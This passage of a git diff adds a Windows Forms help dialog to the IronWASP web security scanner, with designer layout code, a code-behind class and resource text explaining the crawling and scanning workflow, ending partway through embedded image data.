= new System.Drawing.Point(8, 415); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(862, 117); + this.label3.TabIndex = 5; + this.label3.Text = resources.GetString("label3.Text"); + // + // label2 + // + this.label2.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.Location = new System.Drawing.Point(578, 188); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(290, 213); + this.label2.TabIndex = 4; + this.label2.Text = resources.GetString("label2.Text"); + // + // label1 + // + this.label1.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(8, 7); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(417, 211); + this.label1.TabIndex = 3; + this.label1.Text = resources.GetString("label1.Text"); + // + // pictureBox2 + // + this.pictureBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox2.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox2.Image"))); + this.pictureBox2.Location = new System.Drawing.Point(8, 221); + this.pictureBox2.Name = "pictureBox2"; + this.pictureBox2.Size = new System.Drawing.Size(564, 180); + this.pictureBox2.TabIndex = 1; + this.pictureBox2.TabStop = false; + // + // pictureBox1 + // + this.pictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); + this.pictureBox1.Location = new System.Drawing.Point(424, 41); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(444, 103); + this.pictureBox1.TabIndex = 0; + this.pictureBox1.TabStop = false; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.pictureBox5); + this.tabPage2.Controls.Add(this.label5); + this.tabPage2.Controls.Add(this.label4); + this.tabPage2.Controls.Add(this.pictureBox4); + this.tabPage2.Controls.Add(this.pictureBox3); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(876, 535); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " Step 2 - Vulnerability Scanning "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // pictureBox5 + // + this.pictureBox5.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox5.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox5.Image"))); + this.pictureBox5.Location = new System.Drawing.Point(4, 392); + this.pictureBox5.Name = "pictureBox5"; + this.pictureBox5.Size = new System.Drawing.Size(556, 140); + this.pictureBox5.TabIndex = 6; + this.pictureBox5.TabStop = false; + // + // label5 + // + this.label5.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label5.Location = new System.Drawing.Point(8, 9); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(831, 78); + this.label5.TabIndex = 5; + this.label5.Text = resources.GetString("label5.Text"); + // + // label4 + // + this.label4.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label4.Location = new System.Drawing.Point(8, 207); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(517, 164); + this.label4.TabIndex = 4; + this.label4.Text = resources.GetString("label4.Text"); + // + // pictureBox4 + // + this.pictureBox4.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox4.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox4.Image"))); + this.pictureBox4.Location = new System.Drawing.Point(531, 201); + this.pictureBox4.Name = "pictureBox4"; + this.pictureBox4.Size = new System.Drawing.Size(337, 185); + this.pictureBox4.TabIndex = 1; + this.pictureBox4.TabStop = false; + // + // pictureBox3 + // + this.pictureBox3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox3.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox3.Image"))); + this.pictureBox3.Location = new System.Drawing.Point(107, 88); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new System.Drawing.Size(609, 107); + this.pictureBox3.TabIndex = 0; + this.pictureBox3.TabStop = false; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.label7); + this.tabPage3.Controls.Add(this.label6); + this.tabPage3.Controls.Add(this.pictureBox7); + this.tabPage3.Controls.Add(this.pictureBox6); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(876, 535); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " Step 3 - Hybrid Testing "; + this.tabPage3.UseVisualStyleBackColor = true; + // + // label7 + // + this.label7.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label7.Location = new System.Drawing.Point(8, 331); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(860, 83); + this.label7.TabIndex = 7; + this.label7.Text = resources.GetString("label7.Text"); + // + // label6 + // + this.label6.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label6.Location = new System.Drawing.Point(9, 8); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(859, 138); + this.label6.TabIndex = 6; + this.label6.Text = resources.GetString("label6.Text"); + // + // pictureBox7 + // + this.pictureBox7.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox7.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox7.Image"))); + this.pictureBox7.Location = new System.Drawing.Point(66, 156); + this.pictureBox7.Name = "pictureBox7"; + this.pictureBox7.Size = new System.Drawing.Size(688, 143); + this.pictureBox7.TabIndex = 1; + this.pictureBox7.TabStop = false; + // + // pictureBox6 + // + this.pictureBox6.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox6.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox6.Image"))); + this.pictureBox6.Location = new System.Drawing.Point(116, 417); + this.pictureBox6.Name = "pictureBox6"; + this.pictureBox6.Size = new System.Drawing.Size(516, 100); + this.pictureBox6.TabIndex = 0; + this.pictureBox6.TabStop = false; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.pictureBox12); + this.tabPage4.Controls.Add(this.label13); + this.tabPage4.Controls.Add(this.pictureBox11); + this.tabPage4.Controls.Add(this.pictureBox10); + this.tabPage4.Controls.Add(this.pictureBox9); + this.tabPage4.Controls.Add(this.label12); + this.tabPage4.Controls.Add(this.label11); + this.tabPage4.Controls.Add(this.label10); + this.tabPage4.Controls.Add(this.label9); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(876, 535); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = " Step 4 - Advanced Testing "; + this.tabPage4.UseVisualStyleBackColor = true; + // + // pictureBox12 + // + this.pictureBox12.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox12.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox12.Image"))); + this.pictureBox12.Location = new System.Drawing.Point(91, 355); + this.pictureBox12.Name = "pictureBox12"; + this.pictureBox12.Size = new System.Drawing.Size(708, 69); + this.pictureBox12.TabIndex = 15; + this.pictureBox12.TabStop = false; + // + // label13 + // + this.label13.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.label13.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label13.Location = new System.Drawing.Point(4, 26); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(354, 90); + this.label13.TabIndex = 14; + this.label13.Text = resources.GetString("label13.Text"); + // + // pictureBox11 + // + this.pictureBox11.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox11.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox11.Image"))); + this.pictureBox11.Location = new System.Drawing.Point(329, 429); + this.pictureBox11.Name = "pictureBox11"; + this.pictureBox11.Size = new System.Drawing.Size(544, 100); + this.pictureBox11.TabIndex = 13; + this.pictureBox11.TabStop = false; + // + // pictureBox10 + // + this.pictureBox10.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox10.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox10.Image"))); + this.pictureBox10.Location = new System.Drawing.Point(91, 207); + this.pictureBox10.Name = "pictureBox10"; + this.pictureBox10.Size = new System.Drawing.Size(708, 107); + this.pictureBox10.TabIndex = 12; + this.pictureBox10.TabStop = false; + // + // pictureBox9 + // + this.pictureBox9.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox9.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox9.Image"))); + this.pictureBox9.Location = new System.Drawing.Point(364, 44); + this.pictureBox9.Name = "pictureBox9"; + this.pictureBox9.Size = new System.Drawing.Size(509, 61); + this.pictureBox9.TabIndex = 11; + this.pictureBox9.TabStop = false; + // + // label12 + // + this.label12.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(224)))), ((int)(((byte)(192))))); + this.label12.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label12.Location = new System.Drawing.Point(4, 426); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(320, 106); + this.label12.TabIndex = 10; + this.label12.Text = resources.GetString("label12.Text"); + // + // label11 + // + this.label11.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.label11.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label11.Location = new System.Drawing.Point(9, 318); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(859, 35); + this.label11.TabIndex = 9; + this.label11.Text = resources.GetString("label11.Text"); + // + // label10 + // + this.label10.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(224)))), ((int)(((byte)(192))))); + this.label10.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label10.Location = new System.Drawing.Point(4, 119); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(859, 87); + this.label10.TabIndex = 8; + this.label10.Text = resources.GetString("label10.Text"); + // + // label9 + // + this.label9.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label9.Location = new System.Drawing.Point(7, 7); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(859, 21); + this.label9.TabIndex = 7; + this.label9.Text = "If you have some security knowledge then you can perform more testing using IronW" + + "ASP."; + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.pictureBox8); + this.tabPage5.Controls.Add(this.label8); + this.tabPage5.Location = new System.Drawing.Point(4, 22); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Size = new System.Drawing.Size(876, 535); + this.tabPage5.TabIndex = 4; + this.tabPage5.Text = " Step 5 - Reporting "; + this.tabPage5.UseVisualStyleBackColor = true; + // + // pictureBox8 + // + this.pictureBox8.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox8.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox8.Image"))); + this.pictureBox8.Location = new System.Drawing.Point(122, 115); + this.pictureBox8.Name = "pictureBox8"; + this.pictureBox8.Size = new System.Drawing.Size(539, 101); + this.pictureBox8.TabIndex = 8; + this.pictureBox8.TabStop = false; + // + // label8 + // + this.label8.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label8.Location = new System.Drawing.Point(8, 14); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(859, 98); + this.label8.TabIndex = 7; + this.label8.Text = resources.GetString("label8.Text"); + // + // DocForNewUser + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.tabControl1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(900, 600); + this.MinimumSize = new System.Drawing.Size(900, 600); + this.Name = "DocForNewUser"; + this.Text = "How to use IronWASP and find Security issues on your website"; + this.tabControl1.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.tabPage2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox5)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox4)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); + this.tabPage3.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox7)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox6)).EndInit(); + this.tabPage4.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox12)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox11)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox10)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox9)).EndInit(); + this.tabPage5.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox8)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl tabControl1; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.TabPage tabPage5; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.PictureBox pictureBox2; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.PictureBox pictureBox4; + private System.Windows.Forms.PictureBox pictureBox3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.PictureBox pictureBox5; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.PictureBox pictureBox7; + private System.Windows.Forms.PictureBox pictureBox6; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.PictureBox pictureBox8; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.PictureBox pictureBox9; + private System.Windows.Forms.PictureBox pictureBox10; + private System.Windows.Forms.PictureBox pictureBox11; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.PictureBox pictureBox12; + } +} \ No newline at end of file diff --git a/Iron/Docs/DocForNewUser.cs b/Iron/Docs/DocForNewUser.cs new file mode 100644 index 0000000..95abf73 --- /dev/null +++ b/Iron/Docs/DocForNewUser.cs @@ -0,0 +1,18 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP.Docs +{ + public partial class DocForNewUser : Form + { + public DocForNewUser() + { + InitializeComponent(); + } + } +} diff --git a/Iron/Docs/DocForNewUser.resx b/Iron/Docs/DocForNewUser.resx new file mode 100644 index 0000000..8acdadd --- /dev/null +++ b/Iron/Docs/DocForNewUser.resx @@ -0,0 +1,4295 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + If the site has a login form then login with a valid username and password and browse through the different features in the authenticated section of the site. + +The more you browse from this browser, the more information IronWASP will have about the website. + + + Some features are too complicated to discover automatically, these must be crawled by the user manually. To do this again open up Browser Based Crawler and then click on the 'Open Manual Crawler' button. + +This will open a Google Chrome browser and you can now visit the site from this browser like a normal user of the site. Every page you visit from this browser is recorded by IronWASP. + + + A web application has many pages and features. IronWASP needs to know about them to perform its test. + +So the first step is providing this information to IronWASP and its very easy to do. + +IronWASP can automatically discover some pages and features using its Crawler feature. You can launch this feature from Tools -> Browser Based Crawler and then enter the Url of the site to test. IronWASP will open a Google Chrome browser and automatically visit different sections of the site. + + + + + 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 + 